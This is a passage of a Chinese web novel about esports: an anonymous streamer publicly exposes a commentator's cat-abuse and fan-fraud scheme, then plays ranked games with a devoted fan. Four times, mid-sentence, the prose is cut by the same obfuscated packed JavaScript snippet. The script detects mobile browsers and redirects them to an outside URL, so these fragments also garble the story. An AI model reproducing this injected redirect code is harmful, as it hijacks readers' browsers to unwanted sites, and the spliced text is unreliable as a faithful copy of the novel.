陆意扬刚要带灯往上路走,特别提示音响了。 这个zonke,怎么着他还揪着不放了吗? 陆意扬点进去一看。 【PAX-zonke:跟官方技能说明范围有偏差,已经提交数据组,得到反馈新版本以后不会再出现这样的bug。】 两头当好人是不? 反正陆意扬对他有偏见,偏见大了。 他分明就是那种好斗分子还没礼貌,尿都撒在别人身上的选手,怎么网上装的跟个正人君子似的,要不哥们现在还要靠你挣钱,你的黑料最好别落在哥的手上,不然我将花费毕生所学来将你置于死地。 哦不,陆意扬觉得自己错了,他应该希望zonke一路长虹,这样的话他热度越高,陆意扬挣的钱越多。 所以陆意扬切出去回: 【[羊崽]回复[PAX-zonke]:就是官方的锅,还好zonke哥哥还了人家清白,哼。】 【........呕】 【....[鼓掌][鼓掌]羊崽宝宝更恶心了呢!】 【看见羊崽回复就吐了,老婆以为我怀孕了现在正送我去产检。】 陆意扬关上了微博,返回来跟小粉丝打排位。 小粉丝这次选的英雄强势,带着陆意扬摸黑就往敌野区游走,三级就想抓人,陆意扬明显感觉到小粉丝似乎认真起来了,他按F3看到正反补兵都已经压倒差不多1比1了。 他们这边的AD起装备也很快,名字抽象打人越强,陆意扬配合着这几个会玩的,很快第二把就结束了。 这期间关于晚上的直播他收到的私信还在继续,他有一半的心思没在游戏上。 “对不起啊,”陆意扬说,“我一方面是晚上有事,来来回回在切屏,一方面是手有点痛。” 【N:你混就行。】 “你说我这种连战斗力都打不上去的人,去做解说有用吗?”陆意扬开始凭空多愁善感起来,“还要你这么费时费力费钱的带着我。” 【N:我觉得有。】 陆意扬没说话。 【N:你教我出装备了。】 “啊,那看起来我还是有点用的嘛,”陆意扬紧绷的手腕似松懈了一点儿,“是吧,又不是打不好游戏就当不好解说,是不是。” 【N:是。】 他的小粉丝一边跟他聊天,一边跟打野配合推了下路,陆意扬一个小辅助到了后期灯也做完了,对面也没什么起色,整个地图的钱都被陆意扬这方的人吃了个干净,上单跟AD也把上路推了。 “我每天大约只有一两把把能跟你一起好好玩,”陆意扬说,“有点羡慕这个打野能跟你配合。” 【N:他没你打得好。】 “哄人了是不是,”陆意扬调侃,“总不打就越来越菜,我几年前其实还行,就是年纪大了退化了。” 【N:知道。】 “我吹牛呢。”陆意扬懒懒散散的,这都打完了,装备撸满的账号,小粉丝还总给他让头,他的分加得也不算慢。 打游戏的时间过得非常快,根据小粉丝的凶猛的打法,陆意扬这分蹭得咻咻的,但就不知道为什么,他总觉得小粉丝的键位跟出装,有点神似zonke,但是也不奇怪了,这游戏来打中单的,几个不模仿他呢? 像小粉丝这个年纪,估计刚接触这个游戏的时候zonke都已经是如日中天了,启蒙中单可能就是他。 陆意扬揉着自己的手腕,有一点羡慕他。 【N:你说7点要去忙,还有二十分钟。】 陆意扬看了一眼时间,“那来不及再开一把了,怕耽误事,你晚上还在吗?” 【N:在的,但是明天晚上有事。】 “哦,”陆意扬看了下赛程日,明天晚上有zonke的比赛他得在赛后直播,然后再剪辑成视频,“我明天晚上也有点事。” 【N:好的。】 陆意扬离去直播还有一会儿,没闭麦,他在做什么都能听到。 听到他去洗了个杯子,拿了一包零食坐在电脑面前吃,咔嚓咔嚓的。 “我这电脑有点不好用了,”陆意扬翘着二郎腿问,“你电脑什么配置啊,要么给我个单子,我配个电脑啊,这个事拖得太久了。” 【N:我朋友卖电脑。】 “那行啊,”陆意扬说,“沪宁可以送吗?” 【N:可以。】 “那别太贵,6000...行吗。”陆意扬声音有点弱了,薯片的喀嚓声也停了,现在人家配电脑动不动就是5070,上万块。 【N:可以的。】 “能玩游戏开直播就行,反正上行网速我这里是够的。”陆意扬说,“那我把电话号跟地址发给你。” 【N:好的。】 陆意扬吃完了一包薯片,“好了,时间差不多了,我晚点回来找你,你去吃饭去吧。” 【N:好的。】 时间来到六点五十分,天已经黑了,外面有鸟归巢。 陆意扬把自己电脑的后台全部清理干净,挂上梯子,开上变声器,确保自己不会被黑之后,他来到自己【羊崽】的直播间。 里面各路人马已经在直播间直抒胸臆,当然他们绕不开三代族谱跟屎尿屁。 感觉全网最脏的流民已经开始陆陆续续进来了,弹幕与礼物齐飞。 陆意扬瞧了一眼贡献榜,今日上榜的美女特别多。 当然也不乏有看热闹不怕事大的职业选手前来观战。 陆意扬清了清嗓子,“晚上好,崽种们。” 刚开播,直播间位于整个元宝TV的最下面,但是陆意扬一发出声音,屏幕从黑色到切到游戏界面的时候,瞬间更是大量的人开始涌入,欢迎动画跟卡得连环画似的。 一般陆意扬得等礼物送人气到达50 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808771|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来万,贵宾席得到2000+人的时候才会慢慢悠悠地开始跟他们说话。 「我们一起学猫叫,一起喵喵喵喵喵...」 今天的配乐有点奇怪。 这歌一出来,全直播间都在猜测哪个主播跟猫有关系,类似软萌小喵啊,类似甜心Kitty啊,都得无故躺枪。 但是其实小主播似乎也不在意这个,撕的要是自己早就收到羊崽的消息了,所以她们不但能提一波热度也没什么损失。 【羊崽崽你来噜!想你想你想你想你我滴宝!】 【怎么天天说出生率低?这直播间不全是出生吗?】 【这个只会以爹妈为原心,亲戚跟器官为半径,恶俗又低智的主播到底是怎么火的?】 【完了,今天又是神之陨落。】 【知道你要直播,爸爸今天都没去上班。】 【羊崽我来小升初啦!】 “好的,”然后陆意扬一脚把他踢出去,完成「小初升」的毕业考核,“没事儿说会儿跟游戏相关的,我快踢不过来了。” 今天直播间的朋友们倒是配合,毕竟春季赛的揭幕战前几天才开。 【今年转会期好像挺多队伍有变动的吧?】 【反正最关注的就是INE跟PAX啊,这俩队伍没变动吧?】 【帕克斯去年在只有四强,今年估计也差不多吧。】 【春季赛的赛程太傻逼了,前面的我都不想看,像老太太的裹脚布,全运营运营的。】 【+1,我也在等PAX,我要看今年版本B哥怎么偷!】 【B哥还有粉,真是活久见。】 【我只等zonke今年能不能杀穿WPL,成绩不重要,战绩才重要!】 【今年的WSPL估计输送不了什么队伍去WPL,还是老8队吧。】 【那得看羊崽能不能拉几个队伍下马啊,出点假赛,禁赛通告什么的不就有新鲜血液了吗?】 陆意扬拖着慵懒的调子,“我在这统治游戏呢?你们有病是不?” 【之前职业选手签约在八戒直播的官司快打完了吧?】 【内部消息,已经协商好了,他们就得来元宝直播。】 “别提别的平台的名字。”陆意扬搓着手指,看着上人上得也差不多了,他的饭也要吃完了,“一会儿给我又封了耽误时间,我朋友还等我呢。” 【某8平台连老板都已经落马了,还想着从选手身上捞一笔,这都耽误多久了。】 【白得签约费你是一个字也不提啊?】 【羊崽你赶紧上专场吧,我等着去火化室友呢。】 【磨磨唧唧的,能不能开?】 “等会儿啊,”陆意扬调低了歌的声音,看着弹幕卡在他的电脑上半天也过不去,懒洋洋地清了屏幕,但是清屏也立马又被占满,约等于无效操作,“讲真话。我个人今天对WATA2是相当失望的。” 七点一到,屏幕切换成一个巨大的PPT,上面的图片哪怕是打码了,都让人看得犯恶心。尤其是还是巨大的屏幕上面贴满了,对眼珠子进行了巨大的暴击! 【卧槽!!!】 【这他妈是啥!!!】 12. 认真办案 第一页对于各位的眼珠子暴击持续没有多久,陆意扬就切到了第二页。 但是刚刚的弹幕依然滚动得极快。 其实现在的网民你说他们戾气也戾气,你说他们善良,似乎也善良。 【尼玛谁干的?】 【标题上不是已经有了吗!】 【我草,我真的要吐了!】 【羊总,开盒吧。】 【羊崽只管爆料,什么时候开过盒!】 【我头一次希望羊崽这个直播间别被封。】 【我再也不会举报你了。】 第二页显然养眼得多,页面上是各位漂亮的小姐姐抱着猫咪的自拍照,脸都被糊去,只能看见清晰的看清楚小猫咪。 主角被揭开,女粉基数相当大,WPL的常驻王牌解说——May。 怎么可能? May的形象气质给人的感觉极好,看起来斯斯文文,音色听起来还偏柔和,陆意扬也见过他几次,当然是作为用不上场的替补的时候。 May总是戴着无框的眼镜,低头在看一些表格采访,整个人偏正气,照着WATA2的不少说法,说这些打游戏的职业队伍都不愿意跟他一起合照,站在边上像NPC。 “今天没有连线邀请上麦的环节。” 直播间的粉丝们看着一张张血腥的照片也严肃了起来,弹幕逐渐变少。 “看日期。”陆意扬用鼠标作涂鸦笔,圈了两圈。 事情可以追溯到两年前,整个时间线在PPT上已经非常清楚了。 屏幕上出现三只健康猫咪。 各自点击猫咪照片的时候,都有链接,上面领养单子上有May本人的签名,且领养机构的工作人员还有合影。 光是找这三只猫的来源,陆意扬就费了一大圈的周折,先是将MAY所在地网上能找到的宠物店都问了一个遍,再是救助跟领养中心,最后在宠物救助群里面才找到曾经的工作人员。 陆意扬在三只猫咪的颜色,瞳孔,花色,背毛上画圈做标记。 点击PPT,出现三只被救助的猫,一只断尾,一只断脚,一只被剪去一只耳朵。 屏幕里那个曾经的立着「爱猫人设」的解说抱着他的三只猫咪,说这是他救助的流浪小猫,二者时间不过一周。 三只猫都同时发生不幸,不免让人怀疑。 但是原因是什么? 陆意扬在捋事情的时候自然仔细,第二页放出WATA2解说报名,参赛,投票的时间线,以及在救助猫咪人设光环下的投票曲线。 【为了出名?】 【当时的人气投票不够他去WATA2的第一解说席?】 【我他妈当年也投了他!】 【卧槽,我的前女友好像也被骗了!】 【演的吧...】 陆意扬的直播间开始播放MAY的社交软件上面的救助视频,视频的男人温柔可亲,抱着小猫匆匆地跑,仔细擦洗,手上的脏污他没有一点不耐烦。 这样的视频一个接着一个,各不相同的猫咪相同地被救助,只是有的在摇摇欲坠的楼顶,有的在如同沼泽的未干水泥地上,有的在暴雨的车流里,有的在冰天雪地里。 接着陆意扬开始展示各猫咪的体检情况,一页一页地翻。 “这是巧合吗?”陆意扬散漫地打开铜质打火机,又清脆地合上。 【为什么啊?他人气不是已经够了吗?】 陆意扬点到PPT往下翻。 WATA2的各位女性玩家嘴臭心美,在第一个私聊May可不可以领养之后,May就嗅到了商机。 在屏幕上被展示出来的领养表格不在少数,且大家也都注意到了领养合同。 陆意扬将合同中「为防止骗猫事件,押金可转换成猫粮,也更方便追踪。」这一行划线,又将里面「猫粮」两个字圈起来。 May最开始在他的社交账号粉丝们众筹救济猫咪的金额,并且将这些金额都用于购买猫粮,看似非常透明,但是也被陆意扬抓住了漏洞,只是在他视频里出现的一个一闪而过的发货页面。 陆意扬将这个镜头暂停。 一个同城的模糊到很难看清的店名。 陆意扬搜索了当时同城大量的猫粮店家,进行比对,接着找到这家基本符合的店铺。 接着直播间展示了这家店的营业执照,上面还有位置信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808772|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 接着是百度地图,标记了营业执照地址,MAY经常去的宠物医院地址,以及MAY出境过的小区门口。 三个点不超过2公里范围。 “他没有住在这里了,营业执照上的门店也早不经营了,别给我挂开盒的帽子。”陆意扬淡淡解释道。 接着是营业执照上相关法人变更,在网上都可以找到,变更之前,就是MAY的三次本名。 猫粮商品袋上的信息也被露出,是便宜的代工厂做出来的,生产环境脏乱差。 至此,直播间的游客们都看懂了,MAY先是利用救助猫咪这一人设积攒了大量的粉丝,接着让粉丝们领养猫咪,且同时廉价猫粮卖出高价来获利。 PPT的最后,是一张表格。 是不完全统计的May因为治疗,捐赠,收养协议,粉丝支持等转账记录截图。 每一笔钱点上都有链接跳出说明来源,总金额一百二十七万余元。 PPT上出现大家都熟悉的面孔,他穿着白衬衫,带着无框眼睛,亲吻了一口怀里的猫咪。 视频结束后,还是WATA2的官方邮箱,众人看着陆意扬打包一件件材料,然后点击,发送。 【天...】 【我抱紧了我家的猫。】 【May不是有钱吗,不给钱捂嘴吗。】 【演给我们看罢了吧,大家就别真情实感了。】 【我是投稿人,羊崽这次是免费专场。】 【羊崽不是见钱眼开的那种人吗?】 【呵呵,立人设的一种手段,两位都半斤八两。】 【你太搞笑了,一般选手人气都没羊崽高吧?】 “行了,各位的弹幕我也不回复了,没什么好说的。”陆意扬啪嗒点开,磨了两次砂轮,点了一根烟,“我有点犯恶心。” 陆意扬面对密密麻麻的弹幕滚过,无数的礼物飘过,卡得电脑都像播放动画片,“朋友在等,先走了各位,再会。” 他关上了铜火机,一声清脆的咔哒结束了本次的直播。 众人已经无法向MAY的社交平台评论,他已经关闭了一切的东西,所以他们都涌向了羊崽的微博。 13. 好能惹事 PAX基地俱乐部。 暖气供到五月份,但是其实天已经不怎么太冷了,整个基地都开着窗户,外面的黄梅雨才落完,这儿的绿化做的很出色,晚间还能听见鸟鸣。 谈年给自己扣了一顶黑色的鸭舌帽,往下一压就往外面走。 B哥揉着自己的手腕,他们队伍里的人刚打完两把2V2,阿姨都能看懂游戏结束的标志,刚刚叫他们吃饭。 “去哪儿啊。”B哥伸了个懒腰,“外面下雨呢。” “拿电脑。”谈年的手指已经穿过车钥匙,他手上拎了一件外套。 “你有什么毛病吗?”B哥说,“我们俱乐部除了菜多就是电脑多,你还用得着去外面买电脑?你跟椰哥说一声,什么配置没有啊?” “送朋友。” “外面在下雨啊小年。”K哥坐得腰酸,揉着自己腰,“这会儿都快七点半了,电脑城都关门了吧。” “早配好了。” 谈年戴上黑色的口罩匆匆就出了门。 “我草!!!!”小5抱着还不怎么甜的西瓜盘腿坐在电脑面前看直播,“他要毁了WPL的解说界吗!” “又怎么了,”K哥已经习惯了小5的一惊一乍,“你刚刚投降就是为了看直播?” “羊崽的直播,我肯定想看啊。”小5抿着嘴说,“但是刚刚哥在,我不敢看。” “他又无所谓,”K哥说,“上次我去他微博还看见他俩互相问候早安呢。” “他心态真好。”小5说,“要是谁这么追着黑我,我是受不了。” K哥挪了一下自己的电竞椅,“嗯?”了一声。 “怎么啦。”小5说,“K哥也会有看八卦的时候?” K哥还没接上小5的话,就听见他的手机一直在震。 是他妹妹,他妹妹酷爱吃瓜。 “哥你有May的地址吗!老子要去找他要钱!妈的!” “怎么了。”他妹妹虽然在外也是彪悍得要死,但是吃瓜也没到这么激动的时候。 “开裆裤!我的开裆裤!”他妹妹在那头嘶吼,“我还给开裆裤预存了三千块的猫粮!我草,我草!我草!” “开开怎么了?” 小5拉了拉K哥的袖子,指着电脑上面羊崽的直播。 飞星也凑过来看,B哥皱眉看着直播间的弹幕说,“真这样?” “而且他这个事情好像涉及到挺多人的吧...”小5抱着西瓜咬着勺子,“当时WATA2还出过猫咪皮肤,还是第一个给解说做的皮肤,很多女玩家都买了...” “我印象里官方好像还搞了动物救助吧...”小五皱眉说,“我记得还有其他的选手投资过他的猫咪用品店来着,粉丝还捐款过,这...” “这些事情羊崽应该比我们清楚吧,太打官方脸了,说明官方连事情的真伪都没有搞清楚,”小5滑动看着贡献榜上的人,“官方会不会黑了他账号。” “反正椰哥早就想黑,”小5哀怨地说,“我不想失去羊崽的!” “电竞纪检委,”B哥说,“但是我对他印象不错,因为他不骂我毒瘤,说我有灵性。” 小5年纪小,青训就是PAX的辅助,羊崽评论小5在一众辅助中是最敢打的,那命跟不值钱似的。 但是小5对这个评价很满意。 小5笑嘻嘻地盯着K哥看。 当时羊崽评价K哥,说打野啊,最怕没眼力见还特勤快。 “我觉得他说的也没什么错,”K哥抠了一下自己的脸,“我有时候就是容易着急,你们打得过都白跑,不够相信队友。” 吕飞星瘪了一下,说,“妈的...” 众人哈哈笑起来,因为当时羊崽评论吕飞星的上单: 一代版本一代神,代代没都你星神。 各个上单各个秀,唯你星神被暴揍。 确实在WATA2这个游戏里,上单英雄有一段时间加强得很频繁,其他队伍的上单甚至战绩都比打野出色,比AD能动性强,比中单还能扛一点儿,近几个版本的上单前期都能有特别秀的时候,但是吕飞星在PAX里面,就似乎无脑开团,跟K哥不一样的是,他无脑相信自己的队友,结果那就是带着队友送,常挂在嘴边的一句就是,“这波能打!你信我!” 所以WATA2闲出屁的网友每次看见吕飞星上了,要被围攻了,都要调侃他,“吕3又要战三英。” “别操心羊崽了,你看看他贡献榜,”B哥滑了了一下,“这一周连开两场直播是不一样,上次Tico那个事儿那俩女主角都在榜一榜二挂着呢,这会儿May这事儿又那么多受害者,都是礼物,往下拉,啧啧,职业选手都没这个榜单吧。” “两场直播等级都43了。”小5说,“真恐怖,等我们复播的时候可能都没这种贡献榜。” “对了,复播的时间还没定吧?”B哥问。 “没呢,官司还没打完,”小5说,“等到时候复播了,我要跟我哥一起播,他人气高。” “对了,有没有感觉他最近出去得有点频繁了?”K哥问。 “有点。”小5说,“他去年过年都没回家,我正月初一上线改签名的时候还看见他的小号在练补兵。” “啧,”B哥说,“最开始来的时候我还有点不服他,现在是真服了。” “你不是跟他连打了27把solo吗?”K哥揶揄,“给你打服了?” “嗯...真恐怖,从早上7点打到晚上7点,我们都不敢说话。”小5说。 “我补兵没输他啊,”B哥急了,“我们那是平手。” 小5翻着羊崽微博的留言,“你们猜这个羊崽到底是谁啊?知道这么多事,而且游戏理解我真的觉得不错,起码应该是路人王吧。” “出名的都猜过啊,当时还有人猜我是羊崽呢!就因为我跟小年当时不对付。”B哥吃着盒饭,“我做事可没他那么脏。” “妈的...”吕飞星突然又来了这么一句。 小5又笑起来,B哥跟K哥也开始捂嘴。 因为当时猜测羊崽是谁的盖楼盖得老高了,第一个就排除了吕飞星,因为他的言语系统似乎有点缺失,热评第一说: 【许愿吕3能多学两句话。[双手合十]】 【吕3被羊崽骂了半个小时,气坏了来了一句:】 【妈的...】 【妈的...】 下面的楼实在太标准,盖了几千楼。 吕飞星看见的时候来了一句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808773|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈的...” 然后小5呲牙狂怒,包了一个月的夜宵。 因为小5跟其他人打赌,说吕飞星最近被他教好了,会说「草了」,还说「草了」比「妈的」有气势。 椰哥过来了,“怎么又把饭端到电脑面前吃,不过去餐厅吃呢?” “没事儿,”小5说,“就这么吃吧。” 椰哥摘了眼镜揉揉眼眶,“各家经纪人都在说话,有两个队伍的队员投资了May的那个什么猫粮猫砂,还有一些从前的微博,玩家都要官方退钱猫咪皮肤。” “这事儿弄得这么大吗?”小5问,“我们的微博要删吗,好像当时猫咪皮肤也推荐了吧。” “你们那都小事,”椰哥说,“赛事组现在才着急,明天春季赛的解说现在连夜在复试。” “哦,”小5的脑袋又偏过去,那头的羊崽已经下了直播,“羊崽的号会被黑吗?” “我倒是想啊!”椰哥说,“天天天天的就黑我们队伍,谁这受得了,但是现在玩家反应有点大,现在黑了不等于就是官方干的吗?现在官方连夜在出通告。” “他怎么那么能惹麻烦。” “诶对了,小年呢?”椰哥看了一圈,“睡觉去了?” “出门了。”B哥往嘴里投糖,“说给朋友送电脑去了。” “他要电脑楼上仓库拿一台就是,”椰哥说,“赞助送过来的都用不完,签字报损在额度之内就行,他买什么?” —— 陆意扬刚下了直播没一会儿,刚把直播的软件都关了,然后在下播的那一秒就开始提现,省的号被封了到时候钱拿不出来。 接着还要把他统计的图片跟这次直播的回放链接放在微博里,弄完这一切上了号,他还刚想着要不要找小粉丝排一会儿,手机响了。 一个陌生号码。 “喂你好,陆先生,我是同城派送的,你订购的电脑到了。” “这么快?” “这边是加急过来的,我马上就到了,还有五分钟,你方便吗?” “哦可以,你在到我们小区门口的便利店等我吧。” 黑粉当多了,格外地注意自己的人身安全。 陆意扬拎着垃圾穿着拖鞋就下楼了,从他这儿到便利店还得走一会儿,他没注意下雨了,一个猛子还感觉有点冷。 同城派送的车贴着特别大的图标,一个穿着夜间反光条衣服的男人瞧着四十多岁了,陆意扬诶了一声,那男人听见了就开始往下搬电脑。 陆意扬匆匆几步往前走,“还没两个小时,这么快的啊。” 男人拿着单子,“正好店里组装好的,而且这儿我回去顺路,催得还急。” 他低着头在纸箱上核对配件,看完了让陆意扬签字。 板车上都是黄色的纸箱子,陆意扬也不知道有啥,但是看着都是一些认识的牌子,“你要是拿回去有什么问题,你就打刚刚的电话联系我。” “哦,”陆意扬签了字扫了码,说是6000,都才5200,“我推到那个电梯那再给你推回来吧。” “我给你推吧。”男人接过了板车。 陆意扬在前面走,丝毫没有察觉到树后有人按下了车窗,少年看着他的背影,他的手机喀嚓了一声。 14. 小酸瓶子 陆意扬一手抱着箱子,脚上还踢着一个更大的箱子,像个螃蟹一样把箱子挪到家门口,开门进去喝了半杯水,接着开始把箱子弄进去。 他撕开胶条,里面的主机是透明玻璃,他小心地抱过去把原先的电脑主机电源拔下来,一接上新的就咻咻地发出光,新机器的声音很小,造型更是比老年机漂亮了好多,螺丝全部都是拧好的,他又小心翼翼地把显示屏也搬过来。 这个显示器好大,比之前那个21寸的显示器可强太多了。 陆意扬把自己的旧电脑拆了,连桌子都擦了一遍才把新显示器抱上去。 箱子底下还有东西,三个键盘,三个鼠标,还有摄像头,耳机,音响。 又不是八爪鱼,怎么用的过来?陆意扬这骚货选了个粉色的键盘,感觉自己得再配一块高档一点的鼠标垫才行,之前那个实在配不上这新装备了。 他把旧电脑都放在箱子里面装好推到柜子边上,地上还都是泡沫点儿,扫一下还得飘,他开了个吸尘器吸了半天可算把这地儿弄干净了。 到这会儿陆意扬才想到要跟他的小粉丝说一声,但是拆了旧电脑手也脏得很,他洗了个手抹了把脸,把东西都接好下载游戏,安装了半天才上了游戏。 他点了一下「最近一起玩」,N的头像还是灰色的,一个系统头像,这会儿陆意扬才看见他的签名是「马上回来,十五分钟,稍等。」 陆意扬觉得他有点像小姑娘,怎么什么都知道。 他开着跟N的聊天页面,把垃圾都收一块儿,斥巨资九块九在拼多多上买了个鼠标垫,本来想奢侈一把直接点不拼单,想想日子还是要过的,还是点了万人拼团。 他这会儿打开手机看见自己的微博,留言有点多。 这次的观点基本分成两个,说May在过去的两年里确实也有过去各地救助流浪动物,也有不少人晒出May被偶遇投喂一些流浪猫狗,他们认为没有直接证据指向他就是虐猫了,可能也有间接得利,但是也不能一棍子打死。 其实现在的网友越来越客观,不是先刷到谁就站谁的时候了。当然这中间也不乏水军,骂羊崽像跳梁小丑博人眼球,什么也不做还站在道德高峰,人家哪怕是做了错事也不是由得羊崽这种人指摘的。 另一帮人当然是以May的父母三代就开启问候模式了,他警告了几个,举报了几条,在从前的陆意扬也觉得祸不及家人,也言辞凿凿地要求他的「畜生朋友们」要做新风貌新标杆的新一代畜生,但是大环境就这样,他也只能管好自己。 WATA2真是一个奇妙的平行世界。 有一个叫做燃烧傀儡的英雄,他长得十分鬼畜,杀人了的台词是:「哦小朋友们,我不能再跟你们继续胡闹了,我妈妈还在家等着我回去烧火做饭呢!」 他的出场台词是:“走啦老妈!上班去啦!” 他的死亡台词是:“老妈,我好没用。” 这个妈宝男三句话不离妈在虎扑[WATA2最受欢迎台词]投票上一骑绝尘,但是同时,这个游戏里被问候的最多的就是各位的妈,其实陆意扬不明白,不明白也没用,可能只有自己的妈才是妈吧。 陆意扬有点愣神,他也想妈妈。 他妈妈还在的时候陆意扬基本就是衣来伸手饭来张口,零花钱那自然不愁,要是他家里没出事,他不会这个烂电脑都用到现在。 想也没用,时间长了会稍微好一点,也好不到哪里去。 陆意扬起来去卫生间洗了一把脸,再出来的时候N的头像还是灰色的,啊,还没十五分钟呢。 陆意扬再上微博的时候,看见了推送。 他想过这件事要得罪不少人,但是也没想到篓子能捅得这么大,在这件事刚传到他这儿来的时候,也有几个匿名的人想要出钱把这事儿按下去,但是陆意扬理都没理。 #WATA2官方解说虐猫# #虐猫是否构成犯罪# #保护动物法条何时成立# #WATA2官方通告# #停止虐待动物# 不在特别高的热搜,陆意扬点了几条进去看: 在WATA2的官博: 【猫咪皮肤能不能退?我就问你能不能退?】 【官方做活动之前不核实?真是看笑了,[链接:&WATA2携手官方解说@毛茸茸的May一起关爱流浪动物]】 【羊崽的账号要是被黑老子拿C4炸了你的破官方!】 【May那的钱现在谁管呢?别他妈拿垃圾猫粮糊弄我![链接:&羊崽关于G104批次MAY猫粮检测报告]】 【一个官方这么不靠谱,也是活久见。】 【还有HOPE战队的Roe好像也是股东之一吧,也别放过。】 ... 陆意扬感觉事情朝着他不能控制的方向去,但是他最开始似乎只是想曝光这件事而已。 他低头点着手机,WATA2官方这次的公告出得很快。 写了一整篇,陆意扬能提取到的内容就是: 感谢各位玩家对WATA2的监督,关爱流浪动物的活动不会因此废止,该事件官方也在进行查证,所说如果无误,将会对购买猫咪的皮肤的玩家做相对应的补偿。 陆意扬在抬头的时候,他最近一起玩的朋友[N]已经上线了。 从前陆意扬开的专场吧基本都是在游戏内热闹热闹,哪怕是比较知名的选手被他开了专场也没有这次上的热搜多,连路人都在询问到底发生了什么事。 陆意扬的微博粉丝涨得飞快。 当然,黑粉自然也是与日俱增。 但是陆意扬本来就是黑粉啊。 哪有黑粉破防的,所以他选择了—— 开开心心去双排。 陆意扬拉小粉丝进房,“回来啦?吃饭去了?” 【N:出去了。】 陆意扬嘿一声,“新电脑到了,刚刚按了下测试区,帧数就没掉过,垂直同步都能开了。” 【N:嗯。】 “对了,键盘给了好几个,但是就收我五千多块钱,”陆意扬说,“你不是给我补钱了。” 【N:卖电脑的欠我钱,抵账。】 他又找补了一句。 【N:反正这钱也要不回来。】 “啊,原来是这样啊。”陆意扬说,“那谢谢你了,你生日什么时候,我送你生日礼物吧。” 【N:还早。】 似乎是怕这个话题继续,他又说: 【N:开吧,今天还能打几把。】 “嗯,”陆意扬这会儿手腕又好一点了,“我想玩中单呢。” 【N:我给你打辅助。】 “大材小用了。”但是陆意扬也没多推辞,“我想试试新电脑。” 【N:没事。】 陆意扬想试试新电脑,选了个秀操作的女仆玫拉,这是个中单英雄,他还没说话,就看见N选了个辅助泡泡。 【N:你手会不舒服吗。】 “我想试试呢,现在手不疼。”陆意扬掰着自己的手指,换了耳麦之后他的声音明显都新鲜了好几度,“我不行了那你的辅助当中单打呗。” 【N:手疼就不打,分来得及。】 “知道。”陆意扬的玫拉蹦蹦跳跳地往中路走。 【爱是莉莉安[克莉奥帕]:中单我秀了三次标,瞎的?让中。】 【6老板[女仆玫拉]:没注意。】 【爱是莉莉安[克莉奥帕]:让。】并且狂点陆意扬的脑壳。 【6老板[女仆玫拉]:5号补位有问题?】 【爱是莉莉安[克莉奥帕]:最近战绩没有一把中单,来坑谁?】 【莉莉安[维修师之灵]:老公别生气了,没事哒没事哒,就这么玩吧。】 “这小姑娘懂事,说话甜。”陆意扬说。 【N:哦。】 【莉莉安[维修师之灵]:这俩人一看就是傻逼,不要影响老公跟宝宝排位的好心情么么哒哦!】 “我说早了。”陆意扬补着兵,“这情侣名还怪好看。” 【N:你要?】 “我要什么呀!”陆意扬说,“我怕是在游戏上交不到女朋友了,残了,连带人上分都不行,带我出去都丢人。” 【N:好。】 “你在这好什么呢,”陆意扬这一波到6了,小粉丝变成泡泡飘过来了,二人慢悠悠的往中路压,“我6了来跟我抓人呀。” 陆意扬的女仆玫拉这个中单,大招是魅惑一个敌人被她制,最长可以拉到6秒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808774|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双开两个英雄进行操作,这个技能可以说玩得好的话将会是一个翻盘点。 如果被控制的是对方C位,在后期开着御魔盘六秒足够点死对方脆皮。 非但如此,她的W可以往前扔出一个蝴蝶结,如果碰到人就可以随机爆炸三技能偷到敌法,剩下一个二技能是扔出一杯咖啡在敌方头上,此时技能框开始读条,女仆可以看时间二次操作,咖啡就会炸在目标身上,一般用来抢人头。 但是他家的奥帕这把铁了心要抢人头,而且他的女朋友会在陆意扬要收人头的时候利用自己的技能推开陆意扬,他开始陷入了为别人做嫁衣的尴尬流程。 小粉丝似乎也不着急要赢的样子,慢悠悠的给陆意扬套泡泡。 “这个奥帕抢了我三个人头了,”陆意扬说,“本来还想拿MVP呢,他女朋友玩得比他好。” 【N:哦。】 